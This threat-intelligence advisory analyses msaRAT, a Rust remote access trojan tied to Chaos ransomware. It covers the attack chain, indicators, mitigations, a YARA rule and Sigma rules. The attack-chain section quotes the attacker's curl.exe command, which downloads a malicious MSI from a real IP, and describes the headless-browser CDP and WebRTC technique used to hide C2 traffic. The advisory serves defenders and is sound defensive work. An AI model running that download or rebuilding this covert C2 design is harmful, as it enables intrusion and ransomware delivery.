Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel

1. Executive summary

Cisco Talos has published analysis of msaRAT, a new Rust-based remote access trojan attributed to the Chaos ransomware-as-a-service (RaaS) group. The malware establishes covert C2 communications by launching headless Chrome or Edge instances and manipulating them via the Chrome DevTools Protocol (CDP), routing all traffic through a WebRTC DataChannel relayed via Twilio TURN with signalling over Cloudflare Workers. Attribution to the "Chaos" group is unconfirmed — the actor has no MITRE ATT&CK profile in the verified reference data. EMEA financial services are exposed where Chaos's known initial-access vectors (spam email, vishing) succeed; the C2 design specifically defeats port-based firewall rules and proxy allowlists by burying traffic inside legitimate browser processes and Cloudflare CDN ranges.

2. Regulatory framing

3. Technical analysis & attack chain

Attribution caveat: The actor "Chaos" has no MITRE ATT&CK profile in the verified reference data. Attribution to this group rests on Talos's reporting alone (single-sourced; verify before enforcement).

Confirmed attack chain (Talos primary source)

1. Initial access. Chaos gains access via spam emails and vishing (voice-based social engineering). This is consistent with their previously documented TTPs.
2. MSI download. Post-compromise but pre-ransomware, the attacker executes: curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi Port 443 is specified but traffic is plain HTTP — it will bypass firewall rules that permit based on port number without protocol inspection.
3. MSI execution and DLL extraction. The MSI (update_ms.msi) is configured to impersonate a Windows update. On execution, the custom action CA_Run_EA2AEBC3 fires on InstallFinalize. This loads lib.dll (embedded in the MSI Binary table as Bin_lib_EA2AEBC3) directly into memory.
4. Tokio runtime initialisation. lib.dll exports a function RUN. The malware initialises the Tokio asynchronous runtime. It reads the TOKIO_WORKER_THREADS environment variable; if unset, it calls GetSystemInfo and uses dwNumberOfProcessors. If that returns 0, worker count defaults to 1. OS threads are created via CreateThread.
5. Browser path discovery. The RAT searches for Chrome or Edge installation paths via environment variables first, falling back to registry lookup for Chrome. If no browser is found, CDP manipulation does not execute.
6. Headless browser launch. Chrome or Edge is launched via CreateProcessW in headless mode with flags enabling the CDP remote debugging port.
7. CDP session establishment. The RAT queries the browser's JSON endpoint for connectable targets, extracts webSocketDebuggerUrl, and establishes a WebSocket CDP session. It sends Target.createTarget, then Page.enable and Runtime.enable.
8. CSP bypass. Page.setBypassCSP is issued to disable Content Security Policy.
9. Binding registration. Runtime.addBinding is called five times, registering: msaOpen, msaClose, msaError, msaMessage, dataAck.
10. JavaScript injection. Runtime.evaluate injects JavaScript from the .rdata section. Two functions are injected:
    • Function 1 (one-time, initialisation): Sends a GET request to is-01-ast[.]ols-img-12[.]workers[.]dev (Cloudflare Workers) to retrieve STUN/TURN configuration as JSON. The request's Origin and Referer headers are spoofed to appear from Microsoft's official website. The User-Agent is HeadlessChrome. The response contains ICE server config: STUN server stun2.l.google.com and TURN server global.turn.twilio.com. An RTCPeerConnection is created; the DataChannel name is a random alphanumeric string of 5–20 characters via genStr(5, 20). WebRTC bindings are wired to the registered callbacks. Data received via onmessage is Base64-encoded and passed to the RAT via window.msaMessage().
    • Function 2 (on-demand, per command): Injected via Runtime.evaluate each time the RAT sends a command; the payload replaces a {base64} placeholder.
11. WebRTC connection establishment. The malware generates an SDP Offer and gathers ICE candidates. If gathering does not complete within 5 seconds, a timeout forces it. The SDP Offer is POSTed to POST /token/v1/{UID} on the C2 server. The C2 returns an SDP Answer with no ICE candidates and connection address 0.0.0.0 — this intentionally prevents P2P, forcing all traffic through Twilio TURN. setRemoteDescription completes the DataChannel.
12. C2 communication via browser. The RAT enters a waiting loop monitoring the CDP WebSocket. All external network communication originates from the browser process, not the RAT. The RAT's own network activity is limited to 127.0.0.1. CDP Runtime.bindingCalled events relay results back.
13. Double-layer encryption. WebRTC DataChannel is DTLS-encrypted by the browser. Separately, msaRAT encrypts data with ChaCha-Poly1305 before passing to the browser. The key is derived via ECDH key exchange: on receiving a Handshake frame (0xFE) from the C2, the RAT receives the server's public key, generates its own keypair, derives the shared key, and sends its public key back.
14. Flow control. The WebRTC DataChannel send buffer is managed with a queue; data is dequeued and sent when the buffer drops below 24KB — designed for reliable delivery of large payloads (screenshots, file transfers).
15. Impact. Talos confirmed ransom note creation on victim machines after msaRAT deployment. Chaos employs double extortion.

Infrastructure design implications

• All external traffic appears as legitimate browser WebRTC to Twilio and Cloudflare — the attacker's real C2 IP never appears in network traffic.
• Cloudflare Workers (*.workers.dev) is a platform domain; blocking it broadly impacts legitimate Cloudflare deployments, making it structurally difficult to block.
• The dual-layer infrastructure (Twilio TURN + Cloudflare Workers) significantly complicates infrastructure tracing.

4. Mitigation & containment

P1 — within 24 hours

• Block known delivery infrastructure. Block 172.86.126[.]18 at perimeter firewall and proxy. Note: this is the MSI download server only; C2 traffic routes through Twilio/Cloudflare and will not be blocked by this rule.
• Hunt for MSI payload. Search endpoints for C:\programdata\update_ms.msi and the extracted lib.dll. Quarantine any matches.
• Detect headless browser CDP abuse. Deploy EDR detection for chrome.exe or msedge.exe launched with --headless and --remote-debugging-port flags, especially when spawned by non-browser parent processes (e.g., msiexec.exe, rundll32.exe, or unexpected processes).
• Alert on curl.exe downloading executables. Monitor for curl.exe writing .msi files to C:\programdata\ or other writable directories.

P2 — within 72 hours

• Inspect port 443 for protocol mismatch. Deploy DPI rules to detect and block plain HTTP traffic on port 443 — the MSI download explicitly relies on firewalls permitting by port without protocol inspection.
• Monitor for CDP WebSocket connections. Detect WebSocket connections to 127.0.0.1 with webSocketDebuggerUrl patterns from non-browser processes.
• Alert on WebRTC from headless browsers. If headless browser usage is not standard in your environment, alert on WebRTC (STUN/TURN) traffic originating from chrome.exe/msedge.exe processes with HeadlessChrome user-agent strings.
• Review Cloudflare Workers egress. Where feasible, inspect traffic to *.workers.dev for WebRTC signalling patterns (SDP Offer/Answer in JSON). Blocking the domain outright will impact legitimate Cloudflare Workers deployments — apply only in high-confidence contexts.
• Hunt for Tokio-related strings in memory. The presence of TOKIO_WORKER_THREADS and Tokio/Rust standard library strings in injected DLLs is indicative of this malware family.

P3 — within 7 days

• Strengthen vishing/spam controls. Chaos initial access relies on spam email and vishing. Review email filtering rules, caller-ID spoofing protections, and staff awareness training — particularly for helpdesk and finance functions who are common vishing targets.
• Restrict RMM tool abuse. Chaos's broader methodology abuses legitimate RMM tools for persistence. Audit installed RMM software (AnyDesk, TeamViewer, ScreenConnect, etc.) and enforce allowlisting.
• Validate backup integrity. Given confirmed ransomware deployment, verify offline/immutable backup completeness and test restoration procedures.

5. Indicators of compromise

ipv4  172.86.126[.]18
domain  is-01-ast[.]ols-img-12[.]workers[.]dev
domain  stun2.l.google.com
domain  global.turn.twilio.com
file  C:\programdata\update_ms.msi
file  lib.dll
custom_action  CA_Run_EA2AEBC3
binary_table  Bin_lib_EA2AEBC3
export  RUN
binding  msaOpen
binding  msaClose
binding  msaError
binding  msaMessage
binding  dataAck
env_var  TOKIO_WORKER_THREADS
user_agent  HeadlessChrome
c2_path  POST /token/v1/{UID}

6. Detection

rule msaRAT_Chaos_Ransomware_RAT {
  meta:
    author = "Adverse Trace"
    date = "2026-07-23"
    reference = "https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/"
    description = "Detects msaRAT DLL payload by CDP binding names, Tokio strings, and Cloudflare Workers endpoint"

  strings:
    $binding1 = "msaOpen" ascii
    $binding2 = "msaClose" ascii
    $binding3 = "msaError" ascii
    $binding4 = "msaMessage" ascii
    $binding5 = "dataAck" ascii
    $tokio = "TOKIO_WORKER_THREADS" ascii
    $export = "RUN" ascii
    $workers = "is-01-ast.ols-img-12.workers.dev" ascii
    $stun = "stun2.l.google.com" ascii
    $turn = "global.turn.twilio.com" ascii
    $csp = "Page.setBypassCSP" ascii
    $addbinding = "Runtime.addBinding" ascii
    $cdp_eval = "Runtime.evaluate" ascii
    $genstr = "genStr(5, 20)" ascii
    $base64 = "Base64ToArrayBuffer" ascii
    $handshake = { FE }

  condition:
    4 of ($binding*) and
    $tokio and
    2 of ($workers, $stun, $turn) and
    2 of ($csp, $addbinding, $cdp_eval, $genstr, $base64)
}

title: msaRAT Headless Browser CDP Remote Debugging Launch
id: 7a3c1e92-5b8d-4f6a-9e0c-1d2e3f4a5b6c
status: experimental
description: Detects Chrome or Edge launched in headless mode with remote debugging port enabled by non-browser parent processes, consistent with msaRAT CDP abuse
author: Adverse Trace
date: 2026/07/23
references:

  - https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/
logsource:
  product: windows
  category: process_creation
detection:
  selection_browser:
    Image|endswith:

      - '\chrome.exe'
      - '\msedge.exe'
  selection_headless:
    CommandLine|contains:

      - '--headless'
  selection_debug_port:
    CommandLine|contains:

      - '--remote-debugging-port'
  filter_legitimate_parent:
    ParentImage|endswith:

      - '\chrome.exe'
      - '\msedge.exe'
      - '\explorer.exe'
      - '\svchost.exe'
  condition: selection_browser and selection_headless and selection_debug_port and not filter_legitimate_parent
fields:

  - Image
  - CommandLine
  - ParentImage
  - User
falsepositives:

  - Legitimate automated testing frameworks (Selenium, Puppeteer) — validate parent process and user context
level: high

title: msaRAT MSI Download via curl to ProgramData
id: 8b4d2f03-6c9e-4a7b-8f1d-2e3a4b5c6d7e
status: experimental
description: Detects curl.exe downloading MSI files to ProgramData, consistent with msaRAT delivery chain
author: Adverse Trace
date: 2026/07/23
references:

  - https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/
logsource:
  product: windows
  category: process_creation
detection:
  selection_curl:
    Image|endswith: '\curl.exe'
  selection_msi_target:
    CommandLine|contains:

      - '.msi'
      - 'programdata'
  condition: selection_curl and selection_msi_target
fields:

  - Image
  - CommandLine
  - User
falsepositives:

  - Legitimate software distribution scripts using curl — validate URL and destination
level: high

7. Sources

• Cisco Talos, "Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel," https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/, 2026-07-23
• Help Net Security, "Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process," https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/, 2026-07-23
• BleepingComputer, "New msaRAT malware uses Chrome, Edge browsers to route C2 traffic," https://www.bleepingcomputer.com/news/security/new-msarat-malware-uses-chrome-edge-browsers-to-route-c2-traffic/, 2026-07-23

8. Adverse Trace position

This is a high-sophistication C2 design that meaningfully degrades network-based detection capabilities. The combination of headless browser CDP abuse, WebRTC-over-Twilio TURN, Cloudflare Workers signalling, and double-layer encryption (DTLS + ChaCha-Poly1305) makes this traffic extremely difficult to distinguish from legitimate browser activity at the network layer. EMEA financial services should prioritise endpoint-based detection (headless browser process launches, CDP WebSocket from non-browser processes, curl-to-MSI patterns) over network-based blocking, which is structurally limited by the abuse of legitimate Cloudflare and Twilio infrastructure. Attribution to "Chaos" is unconfirmed (no MITRE ATT&CK profile; single-sourced to Talos) — we will update this advisory if corroborating attribution emerges. We are monitoring for additional IOCs from Talos's referenced GitHub repository and will distribute a supplement if new indicators are published.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.